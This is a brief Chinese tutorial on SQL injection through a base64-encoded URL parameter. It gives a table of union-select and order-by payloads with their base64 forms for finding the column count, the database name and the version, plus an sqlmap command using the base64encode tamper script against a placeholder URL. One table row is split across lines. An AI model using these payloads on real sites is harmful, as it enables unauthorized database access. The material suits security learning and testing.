在SQL注入时,有时会遇到一些复杂情况,如:.../info.php?id=MQ==
,这种情况就属于编码注入。其基本流程如下:
接收数据 -> base64解密 -> 组合SQL语句 -> 执行返回
注入思路如下:
先解码,结合明文后编码
用如下的表格展现编码注入的部分流程:
原文 | 译文 | 备注 |
---|---|---|
1 order by 3 | MSBvcmRlciBieSAz | 猜测列数 |
-1 union select 1,2,3 | LTEgdW5pb24gc2VsZWN0IDEsMiwz | 测试回显 |
-1 union select 1,database(),version() | LTEgdW5pb24gc2VsZWN0ID | |
EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk= | 取得库名 |
使用Tamper
定位到tamper/base64encode.py文件,注意将URL中的MQ去掉
python sqlmap.py -u "XXX.php?id=" --tamper=base64encode.py